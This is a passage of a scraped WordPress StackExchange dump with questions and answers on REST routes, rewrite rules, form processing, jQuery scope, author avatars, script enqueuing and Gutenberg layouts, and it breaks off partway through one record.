"https://wordpress.stackexchange.com/users/164696/"
] | I tried to include this code in my plug-in php files as well as in `functions.php`.
(In the end I would like it to be in the plug-in's php file but I'm not yet sure if possible, that would probably be the topic of another question.)
It is a very basic method for now, I'm just trying to get a response with some content.
In both cases, I get a 404 response.
```
add_action( 'rest_api_init', function () {
register_rest_route( plugin_dir_url(__DIR__).'my-project/api/v1/form', '/action', array(
'methods' => 'GET, POST',
'callback' => 'api_method',
) );
});
function api_method($data) {
var_dump($data);
return 'API method end.';
}
```
And I tried to access URLs (in brower or with AJAX)
* <http://my-domain.local/wp-content/plugins/my-project/api/v1/form>
* <http://my-domain.local/wp-content/plugins/my-project/api/v1/form/>
* <http://my-domain.local/wp-content/plugins/my-project/api/v1/form/get>
* <http://my-domain.local/wp-content/plugins/my-project/api/v1/form/get/>
I guess I'm missing something. | Combining the answear of @alexander & of @dboris
here is the final solution :
1. Create a page to handle redirections
2. add to `functions.php`
```
add_action('init', function() {
$page_id = 2100;
$page_data = get_post($page_id);
if(!is_object($page_data)) {
return;
}
add_rewrite_tag('%affiliate%','([^/]+)');
add_rewrite_rule(
'go/([^/]+)/?$',
'index.php?pagename=' . $page_data->post_name . '&affiliate=$matches[1]',
'top'
);
});
```
Replace `%affiliate%` and `affiliate` by the tag you wish to use.
Replace `page_id` with the ID of your page defined on step 1.
Add a page model that you assign to page defined on sted 1 and add this code to it :
```
$args = array(
'posts_per_page' => -1,
'meta_key' => 'booking_slug',
'meta_value' => $aff,
'post_type' => 'hotel'
);
$query = new WP_Query( $cc_args );
if($query->have_posts()) : while ($query->have_posts() ) : $query->the_post();
the_title();
echo get_field('booking_affiliate');
endwhile;
endif;
```
Need to secure a bit this stuff, and make the redirection using the way you want! |
334,011 | <p>I have a HTML form which inserts data into a custom table. The code for inserting the data is in a PHP file .</p>
<p>My question is where do I place the PHP file in the WordPress filesystem? I have tried placing the file in the root, does not work. Placed it in the wp-content/themes/mytheme folder. Does not work.</p>
<p>I get an error Page could not be found.</p>
<pre><code><form id="XXXForm" method="POST" action="/xxx_insert.php">
</code></pre>
<p>Any help is greatly appreciated.</p>
<p>David</p>
| [
{
"answer_id": 334014,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 2,
"selected": false,
"text": "<p>You need to integrate your form and php form processor with Wordpress.\nOne method to do this in your theme as follows.</p>\n\n<p>Create a page template in your theme folder, as described <strong><a href=\"https://developer.wordpress.org/themes/template-files-section/page-template-files/\" rel=\"nofollow noreferrer\">here</a></strong>. And put your form markup in it. </p>\n\n<p>Don't specify an <code>action</code> on your form, and add a hidden field to your form with arbitrary name and value. We will check against, and then look for that input to handle your form input,\nFor example:</p>\n\n<pre><code><?php \n /* Template Name: My Form \n*/ \n\n?>\n\n<form method=\"POST\">\n <input type=\"hidden\" name=\"my_hidden_field\" value=\"xyz\">\n ....\n</form>\n</code></pre>\n\n<p>Now create a page in WP Admin and assign above created template. Load this page in browser to display your form.</p>\n\n<p>Next put this code in <code>functions.php</code> of your theme </p>\n\n<pre><code>add_action( 'init', function() {\n if ( empty( $_POST['my_hidden_field'] ) ) {\n return;\n }\n\n // handle form submission\n include \"xxx_insert.php\"; // Replace xxx_insert.php with exact path to php file\n}\n</code></pre>\n\n<p>Other methods to achieve the result is <strong><a href=\"https://codex.wordpress.org/Writing_a_Plugin\" rel=\"nofollow noreferrer\">writing a plugin</a></strong> or <strong><a href=\"https://codex.wordpress.org/Shortcode_API\" rel=\"nofollow noreferrer\">shortcode</a></strong>.</p>\n\n<p>I hope this may helps!</p>\n"
},
{
"answer_id": 334016,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 0,
"selected": false,
"text": "<p>You don't need a dedicated PHP file to put in your form tag. The code that generates the form should also handle it. That way <code>action=\"\"</code></p>\n\n<p>For example, here is a page template with a basic form:</p>\n\n<pre><code><?php\n/**\n * Page Template: Test Form\n */\n\nif ( empty( $_POST['submitted'] ) ) {\n // the form hasn't been submitted, so display it\n ?>\n <form method=\"POST\" action=\"\">\n <input type=\"hidden\" name=\"submitted\" value=\"yes\"/>\n Name: <input type=\"test\" name=\"name\" value=\"\"/>\n <input type=\"submit\">\n </form>\n <?php\n} else {\n // it's been submitted, process the form\n $name = $_POST['name'];\n ?>\n <p>You said <?php echo esc_html( $name ); ?></p>\n <?php\n}\n</code></pre>\n\n<p>Using a dedicated PHP file to submit your forms too is a security problem, and comes with maintenance problems ( WP functions won't be available so you'd have to bootstrap WP and all the problems that come with it ). Putting PHP files in the root of your host to be used in a theme or plugin is also a bad idea</p>\n"
}
] | 2019/04/10 | [
"https://wordpress.stackexchange.com/questions/334011",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/145942/"
] | I have a HTML form which inserts data into a custom table. The code for inserting the data is in a PHP file .
My question is where do I place the PHP file in the WordPress filesystem? I have tried placing the file in the root, does not work. Placed it in the wp-content/themes/mytheme folder. Does not work.
I get an error Page could not be found.
```
<form id="XXXForm" method="POST" action="/xxx_insert.php">
```
Any help is greatly appreciated.
David | You need to integrate your form and php form processor with Wordpress.
One method to do this in your theme as follows.
Create a page template in your theme folder, as described **[here](https://developer.wordpress.org/themes/template-files-section/page-template-files/)**. And put your form markup in it.
Don't specify an `action` on your form, and add a hidden field to your form with arbitrary name and value. We will check against, and then look for that input to handle your form input,
For example:
```
<?php
/* Template Name: My Form
*/
?>
<form method="POST">
<input type="hidden" name="my_hidden_field" value="xyz">
....
</form>
```
Now create a page in WP Admin and assign above created template. Load this page in browser to display your form.
Next put this code in `functions.php` of your theme
```
add_action( 'init', function() {
if ( empty( $_POST['my_hidden_field'] ) ) {
return;
}
// handle form submission
include "xxx_insert.php"; // Replace xxx_insert.php with exact path to php file
}
```
Other methods to achieve the result is **[writing a plugin](https://codex.wordpress.org/Writing_a_Plugin)** or **[shortcode](https://codex.wordpress.org/Shortcode_API)**.
I hope this may helps! |
334,030 | <p>in order to access jquery with a $, I am wrapping my Javascript file in </p>
<pre><code> (function($){
.....
})(jQuery);
</code></pre>
<p>This works fine, but I would like to add another javascript file which contains functions which I want to call from the original javascript file, but the functions are not available.</p>
<p>How can I call these functions? Do I need to prefix with a namespace or something?</p>
<p>Edits for clarification below.
js file 1.</p>
<pre><code>(function($){
JS2_SayHi();
})(jQuery);
</code></pre>
<p>js file 2</p>
<pre><code>(function($){
function JS2_SayHi()
{
alert("Hi");
}
})(jQuery);
</code></pre>
<p>The JS2_SayHi function cannot be found. If I remove the (function($){..})(jQuery); wrapper from JS2, it does work, but I don't have access to jquery.</p>
| [
{
"answer_id": 334036,
"author": "user3135691",
"author_id": 59755,
"author_profile": "https://wordpress.stackexchange.com/users/59755",
"pm_score": 1,
"selected": false,
"text": "<p>You have to create a <strong>dependency</strong> with</p>\n\n<pre><code>wp_register_script($handle, $src, $dependency, $version, true/false);\n</code></pre>\n\n<p>See WP codex: <a href=\"https://developer.wordpress.org/reference/functions/wp_register_script/\" rel=\"nofollow noreferrer\">wp_register_script</a>\nand then make sure that the second file is loaded correctly and right after the initial script.</p>\n\n<p>The third parameter is an array for dependencies/other \"handles\".</p>\n\n<p>So..in your case:</p>\n\n<pre><code><?php\n // Functions.php or somewhere else\n wp_register_script('my_first_script',get_template_directory_uri().'/js/my-first-script.js', array('jQuery'), '1.0', true);\n wp_register_script('my_second_script',get_template_directory_uri().'/js/my-second-script.js', array('jQuery','my-first-script'), '1.0', true);\n</code></pre>\n\n<p>Where</p>\n\n<pre><code>...,array('jQuery','my-first-script'),...\n</code></pre>\n\n<p>is the dependency of your script which wordpress will handle for you (placement head/footer).</p>\n\n<p>Last parameter bool <strong>true</strong> means, that is loaded in the footer.\nAlso make sure, that your functions in jQuery have correct <a href=\"https://stackoverflow.com/questions/500431/what-is-the-scope-of-variables-in-javascript?rq=1\">scoping</a>.</p>\n\n<p>That will register the scripts to wordpress, then enqueue them:</p>\n\n<pre><code><?php\n ...\n wp_enqueue_script('my_first_script');\n wp_enquque_script('my-second-script');\n\n?>\n</code></pre>\n"
},
{
"answer_id": 346326,
"author": "Mike Baxter",
"author_id": 38628,
"author_profile": "https://wordpress.stackexchange.com/users/38628",
"pm_score": 0,
"selected": false,
"text": "<p>The answer above takes care of your script loading, but your scope problem remains. </p>\n\n<p>Start by declaring your function as a generic variable, outside the braces. Then, inside the braces, assign your function to that variable. Declaring the function name outside your jQuery wrapper makes it globally available. </p>\n\n<pre><code> var say_hi;\n\n (function($){\n say_hi = function(){\n echo “Hi!”;\n }\n })(jQuery)\n</code></pre>\n"
}
] | 2019/04/10 | [
"https://wordpress.stackexchange.com/questions/334030",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/153752/"
] | in order to access jquery with a $, I am wrapping my Javascript file in
```
(function($){
.....
})(jQuery);
```
This works fine, but I would like to add another javascript file which contains functions which I want to call from the original javascript file, but the functions are not available.
How can I call these functions? Do I need to prefix with a namespace or something?
Edits for clarification below.
js file 1.
```
(function($){
JS2_SayHi();
})(jQuery);
```
js file 2
```
(function($){
function JS2_SayHi()
{
alert("Hi");
}
})(jQuery);
```
The JS2\_SayHi function cannot be found. If I remove the (function($){..})(jQuery); wrapper from JS2, it does work, but I don't have access to jquery. | You have to create a **dependency** with
```
wp_register_script($handle, $src, $dependency, $version, true/false);
```
See WP codex: [wp\_register\_script](https://developer.wordpress.org/reference/functions/wp_register_script/)
and then make sure that the second file is loaded correctly and right after the initial script.
The third parameter is an array for dependencies/other "handles".
So..in your case:
```
<?php
// Functions.php or somewhere else
wp_register_script('my_first_script',get_template_directory_uri().'/js/my-first-script.js', array('jQuery'), '1.0', true);
wp_register_script('my_second_script',get_template_directory_uri().'/js/my-second-script.js', array('jQuery','my-first-script'), '1.0', true);
```
Where
```
...,array('jQuery','my-first-script'),...
```
is the dependency of your script which wordpress will handle for you (placement head/footer).
Last parameter bool **true** means, that is loaded in the footer.
Also make sure, that your functions in jQuery have correct [scoping](https://stackoverflow.com/questions/500431/what-is-the-scope-of-variables-in-javascript?rq=1).
That will register the scripts to wordpress, then enqueue them:
```
<?php
...
wp_enqueue_script('my_first_script');
wp_enquque_script('my-second-script');
?>
``` |
334,037 | <p>I am having trouble displaying the author name and avatar on my single.php page. The posts load fine and all the correct information is available. However the avatar and name is no where to be found. I'm not sure what I'm doing wrong. Help is appreciated</p>
<pre><code><div class="row">
<div>
<h1 class="primary-color"> <?php the_title(); ?></h1>
<span class="avatar">
<?php echo get_avatar( $id_or_email, 30, $default, $alt, $args ); ?>
</span>
by <span class="primary-color"><?php echo get_the_author_meta('display_name', $author_id); ?></span> <span class="pipe">|</span> <span class="date"><?php echo get_the_date(); ?></span>
</div>
</div><!-- END ROW -->
<div class="row">
<?php
while ( have_posts() ) : the_post();
?>
<?php the_content(); ?>
<?php endwhile; ?>
</div>
</code></pre>
| [
{
"answer_id": 334040,
"author": "leymannx",
"author_id": 30597,
"author_profile": "https://wordpress.stackexchange.com/users/30597",
"pm_score": 4,
"selected": true,
"text": "<p>To display the author's avatar within <a href=\"https://codex.wordpress.org/Function_Reference/the_author\" rel=\"nofollow noreferrer\">The Loop</a> use <a href=\"https://codex.wordpress.org/Function_Reference/get_avatar\" rel=\"nofollow noreferrer\"><code>get_avatar()</code></a> like that: </p>\n\n<pre><code><?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>\n</code></pre>\n\n<p>To display the author's display name within <a href=\"https://codex.wordpress.org/Function_Reference/the_author\" rel=\"nofollow noreferrer\">The Loop</a> use <a href=\"https://codex.wordpress.org/Function_Reference/the_author\" rel=\"nofollow noreferrer\"><code>the_author()</code></a>:</p>\n\n<pre><code><?php the_author(); ?>\n</code></pre>\n\n<hr>\n\n<p>So <strong>put everything inside The Loop</strong> and then:</p>\n\n<pre><code><?php\nwhile (have_posts()) : the_post();\n ?>\n\n <div class=\"row\">\n <div>\n <h1 class=\"primary-color\">\n <?php the_title(); ?>\n </h1>\n <span class=\"avatar\">\n <?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>\n </span>\n by <span class=\"primary-color\"><?php the_author(); ?></span>\n <span class=\"pipe\">|</span>\n <span class=\"date\"><?php echo get_the_date(); ?></span>\n </div>\n </div>\n\n <div class=\"row\">\n <?php the_content(); ?>\n </div>\n\n<?php endwhile; ?>\n</code></pre>\n"
},
{
"answer_id": 334055,
"author": "Vishwa",
"author_id": 120712,
"author_profile": "https://wordpress.stackexchange.com/users/120712",
"pm_score": 0,
"selected": false,
"text": "<p>Seems like you are using author info <em>outside the loop</em>. If you want to get that information <strong>outside the loop</strong>, you can do it as follows, in your single.php (or if you're using page template use inside it)</p>\n\n<pre><code><?php\nglobal $post;\n$author_id = $post->post_author;\n?>\n\n<span class=\"avatar\">\n <?php echo get_avatar($author_id, 32); ?>\n</span>\nby\n<span class=\"primary-color\">\n <?php the_author_meta('user_nicename', $author_id); ?>\n</span>\n<span class=\"pipe\">|</span>\n<span class=\"date\"><?php echo get_the_date(); ?></span>\n</code></pre>\n"
}
] | 2019/04/10 | [
"https://wordpress.stackexchange.com/questions/334037",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/114269/"
] | I am having trouble displaying the author name and avatar on my single.php page. The posts load fine and all the correct information is available. However the avatar and name is no where to be found. I'm not sure what I'm doing wrong. Help is appreciated
```
<div class="row">
<div>
<h1 class="primary-color"> <?php the_title(); ?></h1>
<span class="avatar">
<?php echo get_avatar( $id_or_email, 30, $default, $alt, $args ); ?>
</span>
by <span class="primary-color"><?php echo get_the_author_meta('display_name', $author_id); ?></span> <span class="pipe">|</span> <span class="date"><?php echo get_the_date(); ?></span>
</div>
</div><!-- END ROW -->
<div class="row">
<?php
while ( have_posts() ) : the_post();
?>
<?php the_content(); ?>
<?php endwhile; ?>
</div>
``` | To display the author's avatar within [The Loop](https://codex.wordpress.org/Function_Reference/the_author) use [`get_avatar()`](https://codex.wordpress.org/Function_Reference/get_avatar) like that:
```
<?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>
```
To display the author's display name within [The Loop](https://codex.wordpress.org/Function_Reference/the_author) use [`the_author()`](https://codex.wordpress.org/Function_Reference/the_author):
```
<?php the_author(); ?>
```
---
So **put everything inside The Loop** and then:
```
<?php
while (have_posts()) : the_post();
?>
<div class="row">
<div>
<h1 class="primary-color">
<?php the_title(); ?>
</h1>
<span class="avatar">
<?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>
</span>
by <span class="primary-color"><?php the_author(); ?></span>
<span class="pipe">|</span>
<span class="date"><?php echo get_the_date(); ?></span>
</div>
</div>
<div class="row">
<?php the_content(); ?>
</div>
<?php endwhile; ?>
``` |
334,046 | <p>For example, the current url is:</p>
<pre><code>https://example1.com/hello-world
</code></pre>
<p>I want to display this url under the showing article and also change the domain to:</p>
<pre><code>https://newdomain.com/hello-world
</code></pre>
<p>Is there any way to do this?</p>
<p>Thank you guys a lot!</p>
| [
{
"answer_id": 334040,
"author": "leymannx",
"author_id": 30597,
"author_profile": "https://wordpress.stackexchange.com/users/30597",
"pm_score": 4,
"selected": true,
"text": "<p>To display the author's avatar within <a href=\"https://codex.wordpress.org/Function_Reference/the_author\" rel=\"nofollow noreferrer\">The Loop</a> use <a href=\"https://codex.wordpress.org/Function_Reference/get_avatar\" rel=\"nofollow noreferrer\"><code>get_avatar()</code></a> like that: </p>\n\n<pre><code><?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>\n</code></pre>\n\n<p>To display the author's display name within <a href=\"https://codex.wordpress.org/Function_Reference/the_author\" rel=\"nofollow noreferrer\">The Loop</a> use <a href=\"https://codex.wordpress.org/Function_Reference/the_author\" rel=\"nofollow noreferrer\"><code>the_author()</code></a>:</p>\n\n<pre><code><?php the_author(); ?>\n</code></pre>\n\n<hr>\n\n<p>So <strong>put everything inside The Loop</strong> and then:</p>\n\n<pre><code><?php\nwhile (have_posts()) : the_post();\n ?>\n\n <div class=\"row\">\n <div>\n <h1 class=\"primary-color\">\n <?php the_title(); ?>\n </h1>\n <span class=\"avatar\">\n <?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>\n </span>\n by <span class=\"primary-color\"><?php the_author(); ?></span>\n <span class=\"pipe\">|</span>\n <span class=\"date\"><?php echo get_the_date(); ?></span>\n </div>\n </div>\n\n <div class=\"row\">\n <?php the_content(); ?>\n </div>\n\n<?php endwhile; ?>\n</code></pre>\n"
},
{
"answer_id": 334055,
"author": "Vishwa",
"author_id": 120712,
"author_profile": "https://wordpress.stackexchange.com/users/120712",
"pm_score": 0,
"selected": false,
"text": "<p>Seems like you are using author info <em>outside the loop</em>. If you want to get that information <strong>outside the loop</strong>, you can do it as follows, in your single.php (or if you're using page template use inside it)</p>\n\n<pre><code><?php\nglobal $post;\n$author_id = $post->post_author;\n?>\n\n<span class=\"avatar\">\n <?php echo get_avatar($author_id, 32); ?>\n</span>\nby\n<span class=\"primary-color\">\n <?php the_author_meta('user_nicename', $author_id); ?>\n</span>\n<span class=\"pipe\">|</span>\n<span class=\"date\"><?php echo get_the_date(); ?></span>\n</code></pre>\n"
}
] | 2019/04/11 | [
"https://wordpress.stackexchange.com/questions/334046",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/67185/"
] | For example, the current url is:
```
https://example1.com/hello-world
```
I want to display this url under the showing article and also change the domain to:
```
https://newdomain.com/hello-world
```
Is there any way to do this?
Thank you guys a lot! | To display the author's avatar within [The Loop](https://codex.wordpress.org/Function_Reference/the_author) use [`get_avatar()`](https://codex.wordpress.org/Function_Reference/get_avatar) like that:
```
<?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>
```
To display the author's display name within [The Loop](https://codex.wordpress.org/Function_Reference/the_author) use [`the_author()`](https://codex.wordpress.org/Function_Reference/the_author):
```
<?php the_author(); ?>
```
---
So **put everything inside The Loop** and then:
```
<?php
while (have_posts()) : the_post();
?>
<div class="row">
<div>
<h1 class="primary-color">
<?php the_title(); ?>
</h1>
<span class="avatar">
<?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>
</span>
by <span class="primary-color"><?php the_author(); ?></span>
<span class="pipe">|</span>
<span class="date"><?php echo get_the_date(); ?></span>
</div>
</div>
<div class="row">
<?php the_content(); ?>
</div>
<?php endwhile; ?>
``` |
334,094 | <p>This phenomenon occurred after updating Wordpress from 4.9.10 to 5.1.1.
I'm using the plugins TinyMCE Advanced, Classic Editor and Advanced Custom Fields PRO.
The wordpress installation has the roles admin and testrole.</p>
<p>I'm logged in as testrole and insert the custom html element
<code><p><new-page></new-page></p></code>
in a custom field of type WYSIWYG editor in a post and publish the post by clicking publish. <code><p><new-page></new-page></p></code> is replaced with <code><p></p></code>.</p>
<p>When logged in as admin, the replacement does not happen.</p>
<p>How can I prevent wordpress from replacing <code><p><new-page></new-page></p></code> with <code><p></p></code> when logged in as testrole?</p>
| [
{
"answer_id": 334040,
"author": "leymannx",
"author_id": 30597,
"author_profile": "https://wordpress.stackexchange.com/users/30597",
"pm_score": 4,
"selected": true,
"text": "<p>To display the author's avatar within <a href=\"https://codex.wordpress.org/Function_Reference/the_author\" rel=\"nofollow noreferrer\">The Loop</a> use <a href=\"https://codex.wordpress.org/Function_Reference/get_avatar\" rel=\"nofollow noreferrer\"><code>get_avatar()</code></a> like that: </p>\n\n<pre><code><?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>\n</code></pre>\n\n<p>To display the author's display name within <a href=\"https://codex.wordpress.org/Function_Reference/the_author\" rel=\"nofollow noreferrer\">The Loop</a> use <a href=\"https://codex.wordpress.org/Function_Reference/the_author\" rel=\"nofollow noreferrer\"><code>the_author()</code></a>:</p>\n\n<pre><code><?php the_author(); ?>\n</code></pre>\n\n<hr>\n\n<p>So <strong>put everything inside The Loop</strong> and then:</p>\n\n<pre><code><?php\nwhile (have_posts()) : the_post();\n ?>\n\n <div class=\"row\">\n <div>\n <h1 class=\"primary-color\">\n <?php the_title(); ?>\n </h1>\n <span class=\"avatar\">\n <?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>\n </span>\n by <span class=\"primary-color\"><?php the_author(); ?></span>\n <span class=\"pipe\">|</span>\n <span class=\"date\"><?php echo get_the_date(); ?></span>\n </div>\n </div>\n\n <div class=\"row\">\n <?php the_content(); ?>\n </div>\n\n<?php endwhile; ?>\n</code></pre>\n"
},
{
"answer_id": 334055,
"author": "Vishwa",
"author_id": 120712,
"author_profile": "https://wordpress.stackexchange.com/users/120712",
"pm_score": 0,
"selected": false,
"text": "<p>Seems like you are using author info <em>outside the loop</em>. If you want to get that information <strong>outside the loop</strong>, you can do it as follows, in your single.php (or if you're using page template use inside it)</p>\n\n<pre><code><?php\nglobal $post;\n$author_id = $post->post_author;\n?>\n\n<span class=\"avatar\">\n <?php echo get_avatar($author_id, 32); ?>\n</span>\nby\n<span class=\"primary-color\">\n <?php the_author_meta('user_nicename', $author_id); ?>\n</span>\n<span class=\"pipe\">|</span>\n<span class=\"date\"><?php echo get_the_date(); ?></span>\n</code></pre>\n"
}
] | 2019/04/11 | [
"https://wordpress.stackexchange.com/questions/334094",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/160336/"
] | This phenomenon occurred after updating Wordpress from 4.9.10 to 5.1.1.
I'm using the plugins TinyMCE Advanced, Classic Editor and Advanced Custom Fields PRO.
The wordpress installation has the roles admin and testrole.
I'm logged in as testrole and insert the custom html element
`<p><new-page></new-page></p>`
in a custom field of type WYSIWYG editor in a post and publish the post by clicking publish. `<p><new-page></new-page></p>` is replaced with `<p></p>`.
When logged in as admin, the replacement does not happen.
How can I prevent wordpress from replacing `<p><new-page></new-page></p>` with `<p></p>` when logged in as testrole? | To display the author's avatar within [The Loop](https://codex.wordpress.org/Function_Reference/the_author) use [`get_avatar()`](https://codex.wordpress.org/Function_Reference/get_avatar) like that:
```
<?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>
```
To display the author's display name within [The Loop](https://codex.wordpress.org/Function_Reference/the_author) use [`the_author()`](https://codex.wordpress.org/Function_Reference/the_author):
```
<?php the_author(); ?>
```
---
So **put everything inside The Loop** and then:
```
<?php
while (have_posts()) : the_post();
?>
<div class="row">
<div>
<h1 class="primary-color">
<?php the_title(); ?>
</h1>
<span class="avatar">
<?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>
</span>
by <span class="primary-color"><?php the_author(); ?></span>
<span class="pipe">|</span>
<span class="date"><?php echo get_the_date(); ?></span>
</div>
</div>
<div class="row">
<?php the_content(); ?>
</div>
<?php endwhile; ?>
``` |
334,112 | <p>Currently migrating from an older version of a JS library (sweetAlerts), to a newer version.</p>
<p>Both versions load, but I want to be able to use the updated library, but unsure how to reference it in JavaScript to use the newer library. Any input on how to do this would be appreciated.</p>
<pre><code>wp_enqueue_script( 'sweet-alert', plugin_dir_url( __FILE__ ) . 'js/sweetalert.min.js', array(), $this->version, false );
wp_enqueue_script( 'sweet-alert-latest', plugin_dir_url( __FILE__ ) . 'js/sweetalert-latest.min.js', array(), $this->version, false );
</code></pre>
| [
{
"answer_id": 334040,
"author": "leymannx",
"author_id": 30597,
"author_profile": "https://wordpress.stackexchange.com/users/30597",
"pm_score": 4,
"selected": true,
"text": "<p>To display the author's avatar within <a href=\"https://codex.wordpress.org/Function_Reference/the_author\" rel=\"nofollow noreferrer\">The Loop</a> use <a href=\"https://codex.wordpress.org/Function_Reference/get_avatar\" rel=\"nofollow noreferrer\"><code>get_avatar()</code></a> like that: </p>\n\n<pre><code><?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>\n</code></pre>\n\n<p>To display the author's display name within <a href=\"https://codex.wordpress.org/Function_Reference/the_author\" rel=\"nofollow noreferrer\">The Loop</a> use <a href=\"https://codex.wordpress.org/Function_Reference/the_author\" rel=\"nofollow noreferrer\"><code>the_author()</code></a>:</p>\n\n<pre><code><?php the_author(); ?>\n</code></pre>\n\n<hr>\n\n<p>So <strong>put everything inside The Loop</strong> and then:</p>\n\n<pre><code><?php\nwhile (have_posts()) : the_post();\n ?>\n\n <div class=\"row\">\n <div>\n <h1 class=\"primary-color\">\n <?php the_title(); ?>\n </h1>\n <span class=\"avatar\">\n <?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>\n </span>\n by <span class=\"primary-color\"><?php the_author(); ?></span>\n <span class=\"pipe\">|</span>\n <span class=\"date\"><?php echo get_the_date(); ?></span>\n </div>\n </div>\n\n <div class=\"row\">\n <?php the_content(); ?>\n </div>\n\n<?php endwhile; ?>\n</code></pre>\n"
},
{
"answer_id": 334055,
"author": "Vishwa",
"author_id": 120712,
"author_profile": "https://wordpress.stackexchange.com/users/120712",
"pm_score": 0,
"selected": false,
"text": "<p>Seems like you are using author info <em>outside the loop</em>. If you want to get that information <strong>outside the loop</strong>, you can do it as follows, in your single.php (or if you're using page template use inside it)</p>\n\n<pre><code><?php\nglobal $post;\n$author_id = $post->post_author;\n?>\n\n<span class=\"avatar\">\n <?php echo get_avatar($author_id, 32); ?>\n</span>\nby\n<span class=\"primary-color\">\n <?php the_author_meta('user_nicename', $author_id); ?>\n</span>\n<span class=\"pipe\">|</span>\n<span class=\"date\"><?php echo get_the_date(); ?></span>\n</code></pre>\n"
}
] | 2019/04/11 | [
"https://wordpress.stackexchange.com/questions/334112",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/104621/"
] | Currently migrating from an older version of a JS library (sweetAlerts), to a newer version.
Both versions load, but I want to be able to use the updated library, but unsure how to reference it in JavaScript to use the newer library. Any input on how to do this would be appreciated.
```
wp_enqueue_script( 'sweet-alert', plugin_dir_url( __FILE__ ) . 'js/sweetalert.min.js', array(), $this->version, false );
wp_enqueue_script( 'sweet-alert-latest', plugin_dir_url( __FILE__ ) . 'js/sweetalert-latest.min.js', array(), $this->version, false );
``` | To display the author's avatar within [The Loop](https://codex.wordpress.org/Function_Reference/the_author) use [`get_avatar()`](https://codex.wordpress.org/Function_Reference/get_avatar) like that:
```
<?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>
```
To display the author's display name within [The Loop](https://codex.wordpress.org/Function_Reference/the_author) use [`the_author()`](https://codex.wordpress.org/Function_Reference/the_author):
```
<?php the_author(); ?>
```
---
So **put everything inside The Loop** and then:
```
<?php
while (have_posts()) : the_post();
?>
<div class="row">
<div>
<h1 class="primary-color">
<?php the_title(); ?>
</h1>
<span class="avatar">
<?php print get_avatar(get_the_author_meta('ID'), '30', '', '', ['class' => 'foo-bar']); ?>
</span>
by <span class="primary-color"><?php the_author(); ?></span>
<span class="pipe">|</span>
<span class="date"><?php echo get_the_date(); ?></span>
</div>
</div>
<div class="row">
<?php the_content(); ?>
</div>
<?php endwhile; ?>
``` |
334,114 | <p>I am currently at a dilemma where I have a design where there is a sidebar to the left taking up 50% of the width of the screen(this sidebar area is pulling data automatically based on the post, so title, date, author, etc) and content to the right Taking up 50% of width of the screen. </p>
<p>In the right content section is where I have <code>the_content();</code> This is grabbing all content and every block in the Gutenberg editor for this post. </p>
<p>The issue I am running into then is I want blocks that are added to the Gutenberg editor that are below the main content of the post (the heading and paragraph text) to extend full width instead of staying in the 50% width of the main content next to the sidebar.</p>
<p>Before Gutenberg I was able to accomplish this by having <code>the_content();</code> (which was just a WYSIWYG editor) and I would then create flexible content blocks with ACF that I could select where I wanted them to reside based on where I put the code snippet for it in my theme. I am now building blocks using ACF blocks, which are Gutenberg-esque blocks built with ACF, that reside with everything else in <code>the_content();</code>. Doing it this way I don't have the option to set custom blocks somewhere else in my theme files. </p>
<p>So now I am trying to find a solution on how to make this work. One of the ideas is if there is a way to add a section Gutenberg editor to a post. So When a user would create a post it would give them two Gutenberg editors where each could have blocks added to them, but I would have control where each content area would live in my theme files (example I would have the default <code>the_content();</code> snippet for the default Gutenberg block and something like <code>the_content_two();</code> for a secondary Gutenberg editor.</p>
<p>Is this something that is possible to do? And if it is not possible to do is there an alternative approach I could take to fix my dilemma of having a half and half sidebar and content to having a full width block underneath that content?</p>
| [
{
"answer_id": 334119,
"author": "djboris",
"author_id": 152412,
"author_profile": "https://wordpress.stackexchange.com/users/152412",
"pm_score": 0,
"selected": false,
"text": "<p>What you want is not possible - to have two main contents and two Gutenberg instances for one post.</p>\n\n<p>But, since you already use ACF, why not add some flex content fields instead of the 'second Gutenberg'?</p>\n\n<p><strong>Edit:</strong></p>\n\n<p>Something else came to my mind. If you really want to use Gutenberg for the rest of the page as well, you could create a custom post type, and add ACF relationship field to the main post with a link to the second post. Then you could use the first <code>the_content()</code> from the main post, and the second <code>the_content()</code> from the referenced post of a custom post type. Let me know if I was not clear enough.</p>\n"
},
{
"answer_id": 334179,
"author": "majick",
"author_id": 76440,
"author_profile": "https://wordpress.stackexchange.com/users/76440",
"pm_score": 3,
"selected": true,
